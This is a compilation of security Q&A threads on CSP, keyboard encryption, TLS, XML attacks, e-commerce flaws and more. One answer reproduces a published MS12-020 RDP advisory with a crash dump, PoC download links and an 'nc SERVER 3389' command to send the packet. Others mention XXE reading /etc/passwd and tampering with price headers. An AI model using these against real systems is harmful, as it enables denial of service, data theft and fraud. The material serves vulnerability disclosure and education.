If NoScript is allowing local scripts (but perhaps blocking those sourced from a 3rd party), then it would look like any other XSS vector.  Most XSS result from being able to inject arbitrary scripts into a page.  With the listed CSP, it gets more difficult, as the attacker will need to source a script from the local domain (since unsafe-inline is not available), but that can occur with an arbitrary file upload on the same origin.

Really, the whole thing is more about exfiltrating data past CSP, and not the original injection vector -- many different vectors would allow exfiltrating data via prefetch.


How does wireless keyboards' encryption prevent frequency analysis? I've found very little information on this topic after much googling. The only partial answer I found was by Microsoft: Microsoft_AES_Technical_Factsheet

  By adding random data to each message, each message is unique even if the same letters are typed over and over. This prevents frequency analysis from finding identical messages to track.

which makes sense but leaves me wanting to know:

A) How random data can be added to the messages without causing noise in the signal, and

B) How other manufacturers prevent frequency analysis. I could find nothing regarding Logitech, for example.

Is it simply an industry standard to 'just add noise', therefore it can be safely assumed to be implemented?

Assuming that a block cipher is used as the standard AES or a lightweight block cipher as Prince. The lightweight is highly probable to reduce the power consumption.  Block ciphers need mode of operations.

In ECB mode: E(m1) = E(m2) if and only if m1=m2. So when you press a key k and later when you press it again then the encryptions will be same. When you typing a regular text then by knowing of your language the observer can infer the presses keys as in permutation cipher and see you data. Interestingly, in this mode, even the connected PC doesn't need to the decryption, they can use it as it is.
In CBC mode: a random IV is generated for each encryption then the encryption is performed as c=E(m xor IV). Since the IV is generated randomly for each encryption then the encryptions of each letter will be different every time. In this way, the randomization can prevent the frequency attack.

It is also possible to randomize by padding. That is, if the block-size of the block cipher is 8-byte then you can generate random 7-byte and append it to the binary value of the keystroke, here it is assumed that the keyboard can only send 256 different values, then the encryption. The random padding size can be adjusted according to the device.


Running rkhunter on Linux Currently each time before an application and after an application is either installed or updated including regular patches, the command rkhunter --propupd is run, followed by the command rkhunter --update before the command rkhunter --check.

What is the recommended approach of running the command and its frequency?

Ossec is also capable to identify rootkit and backdoor like rkhunter. When I look at the OSSEC default configurations, i've seen following descriptions.

frequency
Frequency that the rootcheck is going to be executed (in seconds).

Defaults: 36000 (10 hours)

Allowed: Time (in seconds)

Also I believe 10 hours is OK for script execution through crontab.


OTP or Captcha or reCAPTHCA I am developing a web application in Java. I need to protect my application from Denial of Service attack. What would be a better solution OTP or Captcha or  reCAPTHCA or is there any other solutions.

None of these technologies will protect you from (D)DoS attacks. They will only (try to) prevent bots from accessing (a certain part of) your application. A (D)DoS attack could make the page of your Captcha unavailable, and you would have the same problem.

(D)DoS attacks can, for example, be prevented by adding advanced firewall rules, or by using paid services (e.g. Cloudflare). I suggest you search the web on how to protect yourself against (D)DoS attacks.


Linux mcrypt security I just installed 'mcrypt'. When I try to encrypt some file with DES using the command 'mcrypt -a des myfile', I am prompted for a passphrase with a maximum character count of 512.

> mcrypt -a des myfile
> Enter the passphrase (maximum of 512 characters)

How can DES support 512 characters or is there something wrong with the program? I like 'mcrypt' because it gives me the longest password characters but for DES?

Additionally, is the program secure enough?

I know that i been asking a lot but my final question will come after that one :)

I don't know about mcrypt itself, but I would not recommend using it.  First off, I've never heard of it and don't know if it has been well-vetted.  Second, DES does not have as much security as one would want, and should be avoided where possible.

Recommendation: I recommend you use GPG (GnuPG), PGP, or OpenPGP.  These are well-vetted systems that have been carefully evaluated by cryptographers and are widely respected and trusted.


TLS - DHE_DSS: How does client know public DSS-server key? I wonder where the public server key g^x for DSS authentication is communicated to the client when a DHE_DSS cipher suite is used in TLS 1.2. Precisely:

A DSS certificate contains crypto parameters (p_1, q_1, g_1). These values are known to the server (by installation of the certificate) and to the client by the certificate message.

For DHE algorithm, server chooses crypto parameters (p_2, g_2, y_2 = g_2^s).
For DSS-authentication of these parameters, the server chooses a random value x and applies the DSA signing algorithm and sends the authenticated data via server key exchange message to the client.

In order to verify the received data, the client needs the server's DSS-public key g_1^x. As far as I can see from TLS 1.2 spec (RFC5246), this DSS-public key is not part of the server key exchange message. So:

Question: How does the client obtain g_1^x ?

Remark: In https://en.wikipedia.org/wiki/Digital_Signature_Algorithm my g_1^x is y = g^x in the section "Per-user keys". And the message m in the wiki-page consists here of the DHE parameters (p_2, g_2, y_2).

Expanded from comment for closure, although frankly this feels to me rather like the old poser, "who's buried in Grant's Tomb?"

TLDR: the (static) public-key is in the public-key certificate

SSL/TLS uses X.509 certificates for static public-keys, or to be exact: SSL referenced X.509v3, a standard then recently published by what was then CCITT and has since become ITU-T; the RFCs for TLS reference PKIX which is a subset (formally a profile) of X.509v3 defined by a series of RFCs currently headed by rfc5280.

An X.509/PKIX certificate contains info about the public-key of the subject in a data structure prosaically named SubjectPublicKeyInfo defined in 5280 section 4.1 4.1.1.2 and 4.1.2.7 as:

   SubjectPublicKeyInfo  ::=  SEQUENCE  {
        algorithm            AlgorithmIdentifier,
        subjectPublicKey     BIT STRING  }

   AlgorithmIdentifier  ::=  SEQUENCE  {
        algorithm               OBJECT IDENTIFIER,
        parameters              ANY DEFINED BY algorithm OPTIONAL  }

which supports a variety of algorithms by specifying both the algorithm itself and algorithm-dependent parameters, as well as the algorithm-dependent public-key 'wrapped' within a BIT STRING.

SPKI (as I call it) is specified in detail for several algorithms including DSA (imprecisely called DSS in the SSL/TLS ciphersuite and keyexchange names) in rfc3279 section 2.3.2. The 'algorithm' part consists of the OID (Object Identifier) for DSA, and parameters normally consisting of p,q,g as an ASN.1 SEQUENCE of INTEGERs -- with an option to omit these parameters from a certificate if they are 'inherited' from the issuer's CA certificate (an option I've never seen used). The 'subjectPublicKey' part is simply the y value (= g^x mod p) as an ASN.1 INTEGER in the BIT STRING wrapper.

The DSA signature (under the privatekey matching the publickey in the cert) on the DHE values (p,g,y) in the ServerKeyExchange message uses a 'random' value conventionally notated k (not x) to produce a pair of integers r,s which are conveyed (in ASN.1) in that same ServerKeyExchange message. (Technically k need not be random as long as it doesn't repeat for different data; see rfc6979 for a deterministic alternative.)


Are there any security concerns with storing private keys in browser's javascript? I'm working on a web app, and I know little about security/cryptography (for now, still learning) but I'm trying to set up a front-end where:

At the very beginning, the user puts in their private key.

The key is stored as a variable in javascript.

Any time the user does anything to interact with the backend, the key is used to sign or encrypt whatever data it needs to, the data is sent, and when the user is done with everything, they close the browser.

Is this a secure way of doing this? Can anything but my JS code access this key in the process?

(P.S. it's gonna be RSA or ECC so asymmetric, private key is only known by front end user)

You may want to consider using the Web Cryptography API.  Then, you can store the user's private key in the CryptoKey object, with the .extractable property set to false.  This way the private key can only be used for decrypting and/or signing messages within the browser - but can not be read (even by client-side scripting in the browser).


Is it ok to cut some digits from the front-face of a credit/debit card? I'm a European expat living in Asia. I usually hide my credit card at my apartment. However, I'm a bit scared about losing it when I carry it (wallet robbed or lost).

That's why I already scrubbed the CVV (security code) at the back of the card thinking that nobody could use it on Internet.

However, the thread What's the impact of disclosing the front-face of a credit or debit card? made me realize the CVV (security code) was not required on some websites (such as Amazon.com) when buying stuff.

So I'm wondering whether it would be a good idea to cut some digits of the card PAN (16-digit number which I know by heart) with a Stanley knife?

The only problem I can see is that a shop assistant could refuse me to pay with a "damaged" card. Nevertheless, I only use my credit card to get some cash, I suppose ATMs don't care about a "damaged" card (I guess they only get data from the chip).

Thanks for your help.

Update (21 hours later): Thanks all for your meaningful thoughts.

All of you (for the moment I got 4 answers: from Eric, Rory, Bruce and Lucas) think I shouldn't bother removing some digits from my card.

Some of you wrote I shouldn't worry because my bank would pay me back if somebody fraudulently use my card. True.

However, as this problem never happened to me, I don't know whether it's easy to be paid back: I guess my bank would ask for some good explanations about the theft and so on.

I forgot to mention in my question that my bank is Irish and my personal address for my card is my parents' address in France (as I travelled a lot). If somebody steals my card and buys an expensive camera on Amazon and get delivered in the city where I live in Asia, how could the bank believe it was not me?

That's why I thought it would help to remove some digits. I realize I was too naive and Eric's message made me understand that some thieves would be able to get the card number from its chip whatever I would do to the card.

In conclusion, I understand that cutting my card would only prevent "bad/inefficient" thieves (quite funny to write that) from using it.

As you advised I keep (for a long time) my bank "emergency phone number" at my fingertips in case of theft.

Thanks again for all your thoughts and advice.

A credit card contains the card number (also known as the PAN), it multiple ways. Even if you remove the raised digits, some thieves may had a card reader and can get this information off of the card swipe. If there are shops where they are using a rub method, they will need all of the digits anyway. You could just tell them the missing digits and they can write them down if its all offline. If they have a digital terminal, they will be typing in all of the digits one by one anyway and technically don't even need the card.

Old terminals without a chip and pin system can still work with a newer card.

Instead of mitigating the risk of your credit card being stolen, it might be more practical to look into the transference or risk. After being robbed, can you get to a phone and cancel your cards? Your card should have fraud protection to reverse the transactions. I cannot comment on whether the requirements are different in asia, but you should be able to have fraudulent charges reversed and a new card sent. You could also look into credit monitoring and other fraud protection services.

Edit:

I have also seen technology which replaces raised numbers with a digital display which you have to activate with a 4 digit pin on the card itself. I only recall two banks implementing such a technology. This doesn't appear to be exactly the same thing, but maybe in the future it will become more popular to have cards that dynamically re-write the mag strip like this or like this. Maybe you can get a new card from a bank with bleeding edge tech.


Can virtual machines access files/drives protected by host? Say I have a windows machine with a recovery partition that is locked with system permissions and is inaccessible through the windows operating system.

Is it possible that a virtual machine running within windows could mount other drives as read/write or somehow gain greater permissions than granted by windows? While I understand this may not be feasible for the drive the operating system is running on, what about external drives?

Looking at Aria's comment I feel like I have enough information to answer my own question. Access to external storage or USB peripherals from within a virtual machine is dependent on the host operating system and the virtual machine software being used. For a virtual machine to access actual external hardware, it needs access from the virtualization software, which in turn needs access from the operating system. Security then comes down to the level of protection implemented by the virtualization software which is isolated from virtual machine itself.


Why protect the Linux kernel from the root user? What's the purpose of things like the modules_disabled and kexec_load_disabled sysctls and the locking down of /dev/mem and /dev/kmem? The idea behind them seems to be to prevent root from taking over the kernel, but I'm not sure why this is useful. If an attacker gets root, don't they pretty much own the machine even without kernel access, by doing things like modifying binaries?

I understand that in combination with Secure Boot, this can keep the kernel in a guaranteed good state, but again, if the whole userspace is compromised, why is this useful?

If an attacker gets root, don't they pretty much own the machine even without kernel access, by doing things like modifying binaries?

Maybe, maybe not. With SELinux, you can restrict access to block devices, even for the root user. So, if your root partition is read-only (and the system is running with OverlayFS to provide for non-persistent modifications), then protecting the kernel from root can guarantee a consistent state on reboot, even if the machine has been compromised at the root level.

Whereas if the kernel is not protected from the root user, you can't have such guarantees.


Is there a RCE PoC for the CVE-2012-0002/MS12-020? I've recently looked a bit into the MS vulnerability CVE-2012-0002/MS12-020, released in 2012.

In March 2012, Symantec posted a screenshot of a supposedly RCE PoC for the vulnerability, but today I still can't find a decent RCE PoC.

I've come across these three PoCs, but without proper comments or documentation and as of now I'm not confident enough to validate the functionality myself.

Is there is a RCE PoC for MS12-020 and is it still exploited in the wild?

Yes. There is a published exploit on exploit-db.com. If you are not comfortable validating the exploit code, you should familiarize yourself with how code at this level (read: assembly) works prior to attempting this.

#######################################################################

                             Luigi Auriemma

Application:  Microsoft Terminal Services / Remote Desktop Services
              http://www.microsoft.com
              http://msdn.microsoft.com/en-us/library/aa383015(v=vs.85).aspx
Versions:     any Windows version before 13 Mar 2012
Platforms:    Windows
Bug:          use after free
Exploitation: remote, versus server
Date:         16 Mar 2012 (found 16 May 2011)
Author:       Luigi Auriemma
              e-mail: aluigi@autistici.org
              web:    aluigi.org

Additional references:
 http://www.zerodayinitiative.com/advisories/ZDI-12-044/
 http://technet.microsoft.com/en-us/security/bulletin/ms12-020

#######################################################################

1) Introduction
2) Bug
3) The Code
4) Fix

#######################################################################

===============
1) Introduction
===============

From vendor's homepage:
"The Microsoft Remote Desktop Protocol (RDP) provides remote display
and input capabilities over network connections for Windows-based
applications running on a server. RDP is designed to support different
types of network topologies and multiple LAN protocols."

#######################################################################

======
2) Bug
======

The Remote Desktop Protocol is used by the "Terminal Services / Remote
Desktop Services" and works at kernel level on port 3389.

There is an use-after-free vulnerability located in the handling of the
maxChannelIds field of the T.125 ConnectMCSPDU packet (offset 0x2c of
the provided proof-of-concept) when set to a value minor/equal than 5.

The problem happens during the disconnection of the user started with
RDPWD!NM_Disconnect while the effect of the possible code execution is
visible in termdd!IcaBufferAlloc (or termdd!IcaBufferAllocEx on
Windows 7/2008) after termdd!IcaGetPreviousSdLink returns an invalid
memory pointer, the following dump is taken from Windows 2003 Server:

  f761887c 8bff            mov     edi,edi
  f761887e 55              push    ebp
  f761887f 8bec            mov     ebp,esp
  f7618881 56              push    esi
  f7618882 57              push    edi
  f7618883 8b7d08          mov     edi,dword ptr [ebp+8]
  f7618886 8d47ec          lea     eax,[edi-14h]
  f7618889 50              push    eax
  f761888a eb09            jmp     termdd!IcaBufferAlloc+0x19 (f7618895)
  f761888c 8b4618          mov     eax,dword ptr [esi+18h]                  ; we are here
  f761888f 833800          cmp     dword ptr [eax],0                        ; or here
  f7618892 7527            jne     termdd!IcaBufferAlloc+0x3f (f76188bb)    ; must jump
  f7618894 56              push    esi
  f7618895 e878290000      call    termdd!IcaGetPreviousSdLink (f761b212)   ; the new ESI is returned by this function
  f761889a 8bf0            mov     esi,eax
  f761889c 85f6            test    esi,esi
  f761889e 75ec            jne     termdd!IcaBufferAlloc+0x10 (f761888c)
  f76188a0 ff751c          push    dword ptr [ebp+1Ch]
  f76188a3 ff7518          push    dword ptr [ebp+18h]
  f76188a6 ff7514          push    dword ptr [ebp+14h]
  f76188a9 ff7510          push    dword ptr [ebp+10h]
  f76188ac ff750c          push    dword ptr [ebp+0Ch]
  f76188af 57              push    edi
  f76188b0 e8b9fcffff      call    termdd!IcaBufferAllocInternal (f761856e)
  f76188b5 5f              pop     edi
  f76188b6 5e              pop     esi
  f76188b7 5d              pop     ebp
  f76188b8 c21800          ret     18h
  f76188bb 33c0            xor     eax,eax
  f76188bd 53              push    ebx
  f76188be 8d7e10          lea     edi,[esi+10h]
  f76188c1 40              inc     eax
  f76188c2 f00fc107        lock xadd dword ptr [edi],eax
  f76188c6 ff751c          push    dword ptr [ebp+1Ch]
  f76188c9 8b4618          mov     eax,dword ptr [esi+18h]                  ; the same value of before
  f76188cc ff7518          push    dword ptr [ebp+18h]
  f76188cf ff7514          push    dword ptr [ebp+14h]
  f76188d2 ff7510          push    dword ptr [ebp+10h]
  f76188d5 ff750c          push    dword ptr [ebp+0Ch]
  f76188d8 ff761c          push    dword ptr [esi+1Ch]
  f76188db ff10            call    dword ptr [eax]                          ; code execution
  f76188dd 8bd8            mov     ebx,eax
  f76188df 83c8ff          or      eax,0FFFFFFFFh
  f76188e2 f00fc107        lock xadd dword ptr [edi],eax
  f76188e6 7506            jne     termdd!IcaBufferAlloc+0x72 (f76188ee)
  f76188e8 56              push    esi
  f76188e9 e8382f0000      call    termdd!_IcaUnloadSd (f761b826)
  f76188ee 8bc3            mov     eax,ebx
  f76188f0 5b              pop     ebx
  f76188f1 ebc2            jmp     termdd!IcaBufferAlloc+0x39 (f76188b5)

  eax=040b0402 ebx=e1492090 ecx=00390080 edx=00000003 esi=040b0402 edi=e1438240
  eip=f762888c esp=b832f9d8 ebp=b832f9e0 iopl=0         nv up ei pl nz na po nc
  cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010202
  termdd!IcaBufferAlloc+0x10:
  f762888c 8b4618          mov     eax,dword ptr [esi+18h] ds:0023:040b041a=????????

  ChildEBP RetAddr
  b8b399e0 b89c1c34 termdd!IcaBufferAlloc+0x10
  b8b39a00 b89c1c67 RDPWD!StackBufferAlloc+0x26
  b8b39a2c b89a902c RDPWD!MCSDetachUserRequest+0x29
  b8b39a40 b89a8b44 RDPWD!NMDetachUserReq+0x14
  b8b39a4c b89a9185 RDPWD!NM_Disconnect+0x16
  b8b39a58 b89adcb4 RDPWD!SM_Disconnect+0x27
  b8b39a68 b89a906d RDPWD!SM_OnConnected+0x70
  b8b39a88 b89a8db4 RDPWD!NMAbortConnect+0x23
  b8b39ac0 b89a9d88 RDPWD!NM_Connect+0x86
  b8b39ae0 b89abcfc RDPWD!SM_Connect+0x112
  b8b39b08 b89ac786 RDPWD!WDWConnect+0x368
  b8b39b3c b89a6959 RDPWD!WDWConfConnect+0x94
  b8b39b70 f762c1c7 RDPWD!WD_Ioctl+0x1227
  b8b39b8c f762c5a3 termdd!_IcaCallSd+0x35
  b8b39bac f762ca10 termdd!_IcaCallStack+0x55
  b8b39bf4 f762abcc termdd!IcaDeviceControlStack+0x414
  b8b39c24 f762ad20 termdd!IcaDeviceControl+0x4e
  b8b39c3c 8081d5c3 termdd!IcaDispatch+0x12a
  b8b39c50 808ed4eb nt!IofCallDriver+0x45
  b8b39c64 808ee28d nt!NtWriteFile+0x2943
  b8b39d00 808e6dbc nt!NtWriteFile+0x36e5
  b8b39d34 80883968 nt!NtDeviceIoControlFile+0x2a
  b8b39d64 7c82847c nt!KeReleaseInStackQueuedSpinLockFromDpcLevel+0xb14
  b8b39d68 badb0d00 ntdll!_NLG_Notify+0x14

On Windows 2003 that zone of the memory pointed by ESI+18 using the
provided proof-of-concept is ever in the range 040b02??-040b04??.
The exploitability depends by the possibility of controlling ESI or the
content pointed by it (maybe via a form of heap spraying?), indeed in
my quick tests this zone sometimes is allocated and others it isn't.

Note that on the post-Vista Windows versions (like 7 and 2008) "seems"
necessary to have "Allow connections from computers running any version
of Remote Desktop" for being vulnerable.
Anyway I'm not totally sure about this so-called limitation because it
looks like dependent by my proof-of-concept only.

The provided proof-of-concept uses the BER integer values set at 32bit
(big endian) in case they could be useful for easier debugging.

Additional details about the protocol:
http://msdn.microsoft.com/en-us/library/cc240836%28v=prot.10%29.aspx

#######################################################################

===========
3) The Code
===========

http://aluigi.org/poc/termdd_1.dat
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/18606.dat

  nc SERVER 3389 < termdd_1.dat

resend it multiple times in case of no results and note that this is
just a simple proof-of-concept packet to quickly test the bug so it's
not optimized at all.

#######################################################################

======
4) Fix
======

http://technet.microsoft.com/en-us/security/bulletin/ms12-020

#######################################################################


Attacking an HTTPS site from an HTTP site in the same browser A victim has two tabs open. One tab has an HTTPS site and one tab has HTTP site. What are the ways to attack HTTPS (https://www.example.com) site from HTTP site (http://somerandomdomain.com)?

Here is the one way that I think HTTPS site can be attacked:

If the HTTPS site is not using 'secure' attribute for its cookies, then including an <img src='http://www.example.com/someimage.png'> in http://somerandomdomain.com through MitM makes browser to send example.com's cookie in plain-text.

Any other attacks possible here?

Most cross-site web app vulns can be exploited from an HTTP page, even against HTTPS pages. This includes XSS, CSRF, clickjacking ("mixed content" blocking usually prevents hosting insecure content in a secure parent, not the other way around), Rosetta Flash (JSONP reflection attack), and so on.

Some attacks against TLS and especially HTTPS also require the victim to visit a HTTP site while signed into the target HTTPS site. For example, the weaknesses in SSL3's handling of CBC-mode ciphers (POODLE attack), RC4 bias attacks, compression-related attacks such as BREACH and CRIME, and probably some other attacks all require that the attacker run a script on the victim's browser that programmatically makes thousands of customized requests - typically cross-domain, and often though not always originating on an HTTP origin - to the vulnerable HTTPS site.


Old browser version connected to server I am using securityscorecard.com to security test some web sites. One of the issues it has flagged is "Outdated web browser observed". Full description is as follows...

  The web is constantly evolving, using different languages, protocols, and file formats over time. Web browsers regularly release new versions, on time scales as short as every six weeks. These new versions frequently contain security and stability fixes. When a web browser connects to a web server, it informs the server its platform and version information. This information assists the server in providing appropriate content. The information can also be recorded and aggregated to determine what platforms and browser versions are being used by hosts at various places on the Internet. Using such a data set, it was found that an outdated web browser was in use as described in the table below. Note that a single external IP address, such as those in the table below, may correspond to any number of internal hosts. For example, a company firewall or NAT gateway with a single external IP will appear to be the source of an entire network full of corporate desktops.

As far as I understand, it is basically saying that an old vulnerable web browser version is connected to my server.

So my question is... how can an external service see what web browsers are connected / have been connected to my server?

And secondly, I don't see how I can be responsible for what browser version a client uses?

how can an external service see what web browsers are connected / have been connected to my server?

They might be accessing data which was collected from any tracking services you are using (google analytics or an advertising service, for example). Either publicly available information or information they bought.

Alternatively, it is possible that they simply try to access your website with a User-Agent header of an outdated browser to see if they get blocked. If they don't get blocked, they will deduce that since your website is public-facing and since there is still a significant number of internet users who use outdated browsers and since you don't stop them from visiting your website, there must be some of them who indeed browse your website with their malware magnets.

  I don't see how I can be responsible for what browser version a client uses?

Outdated web browsers might lack security features which newer browsers have, like protection from cross-origin request forgery, heuristic XSS detection or protection from browser-hijacking malware. If you do things you shouldn't be doing (like integrating arbitrary HTML content from servers not under your control) and assume that the modern web browsers will protect your visitors from anything that could go wrong, then you are putting your visitors in unnecessary danger.

Further, visitors with unsafe software configurations might be infected with malware. That malware might perform actions on your website the user isn't aware of. Online banking trojans, for example. If you are running an online banking website, then a user infected with malware who tries to pay their plumber might send their life savings to hackers in Nigeria instead. That might technically not be your fault, but the user might still try to hold you responsible. A good lawyer might protect you from having to pay for the damages (if you are lucky), but not from the PR fallout.

But what can you do about that?

Well, you could try to detect outdated web browsers by browser fingerprinting and reject them. But it usually goes against your business objectives to reject otherwise desirable customers. The better approach would be to fix those security problems on your website to make sure that even outdated browsers can use it safely. Because, as you reasoned correctly, a public website has no control over the software configuration of its visitors.

OK, but why doesn't the tool report these vulnerabilities instead of telling me to be careful about the browsers people use?

Because the perceived value of such tools is by what they report, not by what they don't report. That's why such tools usually err on the side of caution and tend to over-report irrelevant problems. If the tool just tells you "everything is OK, keep doing what you are already doing", you wouldn't perceive it as very valuable. So they make sure to include a couple tests which result in a couple positives on almost all websites they check, even if the actionable advise which can be taken from these results is minimal.


I just discovered major security flaws in my web store? A little background info here: I'm a self-taught web developer with very little experience outside of html/css, and the company I work for has hired a third party web development team to design us an e-commerce site. Anyway, I was beta testing the site today using the TamperData Firefox add-on, and I found two major design flaws which both involve HTTP headers.

The first flaw was that when our site asks the user to choose a freight option (ground, express, etc.) the site passes the calculated freight value back to the server in an HTTP header. By manipulating the header, I was able to modify (see: erase) the freight value and so the backend interpreted the calculated freight value as 0, and so it didn't charge me freight!

The second flaw, however, is far worse... When the total product value is calculated and I "checkout", all of the transaction information (CC#, CVV2, Expiry, $ total) gets passed to a third party merchant processor via an HTTP header. Once again, I used TamperData and was able to manipulate the header so that the $ value being sent to the merchant was something trivial (I choose $1 for the test).

The fact that I -- with absolutely no experience in website security or server side coding -- was able to find these severe flaws has me completely scared, because what does that say about the programmers who designed this? Sure, they will probably fix these two issues somehow. BUT, If sending credit card data in a plaintext HTTP header seemed like a good idea to them, will their new solution realistically be any more secure? What if there are other, completely separate attack vectors that I missed?

Thus, my questions for you:

Given the information above, what steps would you take to avoid these security holes? (so I know what to request our programmers to do)
What books, sites, and/or resources are available so I may teach myself about web security, and how to do actual penetration testing? It will take some time for my company to arrange for an outside security audit, and in the interim I want to fix as much of the site as possible.

UPDATE:

As I said in a comment below, I am interested to know exactly how secure it is to transmit the payment info in an http header to the cc merchant (we are using an https connection if that matters). Can third parties eavesdrop or intercept these packets? And if they can, is that a realistic scenario, or is it highly unlikely? I ask this because I don't yet have a good understanding of how transmitting data via HTTP headers works, at least on a technical level.

  This question was IT Security Question of the Week.
  Read the Aug 12, 2011 blog entry for more details or submit your own Question of the Week.

A couple of suggestions:

1) Don't build a site from the ground up, unless a new kind of e-commerce is your secret sauce. There are plenty of solutions out there that are tried and true--ebay, wordpress with a shopping cart plugin, drupal with plugins, etc. Rolling your own is a quick way to get hacked.

2) Be sure to redirect to a secure payment processor before collecting any card or identity information. Both PayPal and Google Checkout offer great portals with APIs that make it easy to sell stuff safely, and redirect back to your site.

3) Many of the hosting companies (GoDaddy, volusion, etc) offer turn-key setups, so that all you have to do is fill a catalog, pick a style, ship stuff and go to the bank.


Does Convergence solve the problem of hacked CAs? My question is about the Firefox AddOn Convergence.

So my question is if it is possible for convergence to observe that a phishing-site which is verified by fake Certificate because a hacker of a CA created one, is useing a actual not valid certificate?

I understand that with convergence the problem for the man-in-the-middle attack is solved.
But it doesn't solve the problem with the hacked CAs, right?

No, Convergence won't protect against that specific attack. It is designed to detect a bad CA issuing a forged certificate for a real site to allow a MITM attack, by checking that all the Convergence notaries are seeing the same cert.

In your phishing example, the forged cert is for a fake site, so there's no "real" cert, and so the notaries will all see the same thing and not notice the problem.

There's good info about convergence in the answers to this question

Note that the attack you describe is unlikely to be used much in the real world. Firstly, phishers usually don't bother with a certificate at all, since plenty of victims won't notice that the page they are accessing is http and not https. Secondly, it would be much easier for a phisher to purchase a legitimate certificate than hack a CA - whoever owns gmial.com can perfectly legally buy an SSL cert for it. Lastly, phishing attacks get noticed fairly quickly (they are rarely subtle) and any certificates involved are going to be revoked quickly.


Understanding TS 133 501 (5G) Step 2 of EAP-AKA' I have a question dealing with the EAP-AKA' used in 5G to authenticate clients coming from a 3GPP-Network.
I read the latest specification on ETSI. The problem which I have is based on Step 2 on Page 37/38, where it says (at least I understood it like that), that when the UDM/ARPF got the SUCI it shall continue as shown in RFC 5448 (a description of a EAP-AKA'), otherwise it shall follows the EAP-AKA' shown in the specification (TS 133 501).
That's what confuses me. Are there really two different implementations of the EAP-AKA'?  I tried to layer those two, but for me those two are different, due to the message flow.
Is that  correct?

EAP-AKA' as specified for 5G by ETSI and other organizations under the 3GPP umbrella, is a slightly revised version of EAP-AKA' as specified by IETF in RFC 5448.
It is adapted for use in mobile wireless cellular networks. The version in TS 133 501 is designed for usage in 5G networks. Hence, it involves network functions like UDM, ARPF, etc., that are specific to 5G networks, but that are involved in the EAP-AKA' signalling in 5G networks.
RFC 5448 was published in 2009, and since then, privacy requirements, for example, have become more important, with the GPDR and other such frameworks emerging sometime after 2009. Identifiers like the SUCI are there in 5G for privacy purposes but were not originally in EAP-AKA' as specified in RFC 5448.
You asked about text like the following in TS 133 501

when the UDM/ARPF got the SUCI it shall continue as shown in RFC 5448 (a description of a EAP-AKA'), otherwise, it shall follow the EAP-AKA' shown in the specification (TS 133 501)

This is because EAP-AKA' for 5G is a slight revision of RFC 5448, so in some circumstances, part of the flow would follow exactly as described in RFC 5448, whereas in other places where there are changes or adaptations in EAP-AKA' for 5G, then that needs to be specified in TS 133 501.


What are the main differences between the network-level and the application-level regarding information security? I'm fresh new to the field of security, so I'm sorry if this question seems stupid to you.

What are the main differences between the network-level and the application-level regarding information security ?

A simple way to think of it is in terms of devices you have in your kitchen; microwave, toaster, blender. The "network level" is the connection. Perhaps the electricity powering the devices in our example. The "application level" is specific to the thing, perhaps it involves what you put into the device or the buttons you press.

So in our example, a "network level attack" would be something like cutting the power or sending the wrong voltage. An "application level attack" would be something like putting tinfoil in the microwave.

If our device was a webserver, an application level attack would be something like SQL injection. A network-level attack would be something like a ARP-poisoning.

Often the distinction doesn't fall directly along those lines, and people are fond of the "Standard OSI Model" of network abstraction when describing behavior.

The OSI model describes the connection, so it's technically "network" either way. But it's often helpful to talk about certain aspects of the network, rather than just treating it as an opaque thing.

In that model, the application (HTTP, FTP, SMTP, IRC) is layer 7 (and sometimes 6, the OSI model doesn't directly map too real-world implementation). It's the language your programs speak once a connection is established. An attack on this layer might involve flooding buffers or authentication bypass.

Layers 2 or 3 through 5 or 6 describe getting the data successfully across the Internet. It involves IP, TCP, SSL, and all the fundamental bits that we normally describe as "the network". An attack here might involve replaying packets, redirecting traffic, or attacking stream encryption.

Layers 1 and sometimes 2 describe your physical connection; 1 is the actual voltages over your ethernet cable or radio modulation over wifi or bluetooth, while 2 is the way data is encoded to get it successfully from your machine to your router. An attack at this layer could involve cutting the wire, brute-forcing WEP keys, or MITM interception of raw traffic.


Why Antivirus Detects Simple Java Program as Trojan? Just now I was testing a very simple code in Java when I noticed a strange thing. On compiling the program my antivirus detected it as trojan and deleted the jar file.

Further it is not allowing me to compile the program.
The above characteristic is not displayed on removing str.replaceAll() from the code.

Why is this happening?
What kind of exploit is it in Java and how can it be fixed?
Why using str.replaceAll() specifically shows this kind of behavior?

My Java code is

public static void main(String args[])
{
String str="1000010111111010101010101001111110111010110101000001000000000000000000000000000000000000000000000000000"
    + "111111111111111110000000000000000000000000000000000000000000000000000000000000000";

System.out.println("String len="+str.length()+"  No of ones= "+(str.length()-str.replaceAll("1", "").length()));

}

Antivirus Warning

Just a bit of conjecture here, but there may be some common patterns the av uses for all languages it can analyze deeply, and the pattern displayed in your program is quite similar to the sort of encoding one sees in obfuscated javascript (where they will have a string, perform some operations on it, and eventually end up evaling it). This is a heuristic signature we're talking about, so it could be something like that.

Does the signature still fire without the code which counts the 1s (specifically the call to str.replaceAll)?


Why do email programs block xml files? A colleague sent a .xml file to me earlier today, which was blocked by Outlook. As we were discussing the workaround (put it in a .zip), we got to wondering why .xml files are blocked.

My colleague reckons it's because the browser is the default renderer for .xml files and there's possibly an attack vector by passing a html file with an xml extension, but I tried this on Firefox and I am shown the document tree as a bare xml file.

Does anyone have any examples where an xml file could be added as an attachment to do something malicious (or at least, moreso than any other random attachment that isn't blocked)?

Possible XML based attacks are:

XML bomb (aka Billion LOLs attack). This is an XML file that uses a recursive custom entity type definition to attack a vulnerable XML parser. The XML bomb has a very small size on disk, but expands up to a huge size when parsed, potentially exhausting the available memory on the victims device.
External entity type that may not return. In this case the XML document defines an external entity type at a URL that either does not respond, or responds slowly. This could cause a DoS on the victims device.
External entity type that expose sensitive information. This is similar to point 2 (and is explained at the same link), but in this case the external entity type attempts to expose sensitive local files (e.g. file:///etc/passwd)

Whether any of these attacks could succeed depend on the installed XML parser on the local machine. I think applications like newer versions of IE, Firefox etc. protect against these, but older versions or some custom software might be vulnerable.


White-Box Cryptography Questions and References I have recently started reading about White-Box Cryptography and looking at references/papers/web sites. A have a few questions I was hoping to get guidance on.

As far as I can tell, WBC has applications in reverse engineering protection, intellectual property protection, algorithm-key protection and various protections against attacks. Have I enumerated that properly?

There seems to be confusion regarding the terminology of white versus grey versus black box cryptography. Is there an agreed upon definition of each? Source?

I noticed that there are WBC for AES and DES. Are there other examples that are not related to those algorithms?

Thanks for any insights (and I have read of some of the postings on this site for WBC).

-A

